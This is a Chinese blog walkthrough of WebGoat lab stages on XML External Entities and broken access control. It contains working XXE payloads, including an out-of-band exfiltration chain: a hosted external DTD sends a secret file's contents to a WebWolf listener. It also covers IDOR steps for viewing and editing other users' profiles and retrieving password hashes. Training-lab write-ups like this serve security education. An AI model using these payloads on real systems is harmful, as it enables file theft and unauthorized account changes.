WebGoat之路-4-XML External Entities & Broken Access Control
2020-10-07
(A4) XML External Entities (XXE)
XEE
Stage 4
把请求的XML改成这样:
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY js SYSTEM "file:///">
]>
<comment>
<text>&js;</text>
</comment>
Stage 7
虽然请求是用的json,但是我们可以直接把Content-Type
改成application/xml
,把上面的xml再发一遍就行了。Stage 8是完整的解题过程。
Stage 8
在WebWolf里上传文件a1.dtd。
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % write "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
在提交评论时,把提交内容改成下面的内容。
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///c:/Users/[计算机用户名]/.webgoat-8.0.0.M17/XXE/secret.txt">
<!ENTITY % getdtd SYSTEM "http://127.0.0.1:9090/files/[webgoat用户名]/a1.dtd">
%getdtd;
%write;
]>
<comment> <text>1&send;</text></comment>
然后在WebWolf里面就能看到对应请求了,把内容输入评论即可。
因为同一个DTD内引用上面定义的参数,因此这里需要放一个DTD到服务器上,变成外部DTD。就可以引用到上面定义到的参数了。
(A5) Broken Access Control
Insecure Direct Object References
Stage 2
用户名Tom,密码cat,登录。
Stage 3
请求传回,但没有显示出来的内容:userId,role
Stage 4
这是符合REST设计理念的API,让你猜测如果查询profile时要指定userid的url。很简单,就是WebGoat/IDOR/profile/2342384
。
Stage 5
第一步,题干要求查看别人的profile,根据hint
,把userid加一,但好像没用,一个一个试,发现userid为2342388。传回来中有一段json。
下一步是要修改别人的profile,既然是RESTful应用,那么修改数据就是PUT,按照要求,把role数值改大,color改成red,成功。
说到底,出现这种漏洞的原因是服务端没有做好身份认证。
Missing Function Level Access Control
Stage 2
随便翻翻html就能找到,隐藏的是Users
和Config
。
提交后有一个小提示,其中的一个url在下一个任务会用到。
Stage 3
发送请求到http://127.0.0.1:8080/WebGoat/users
就可以看到Hash了。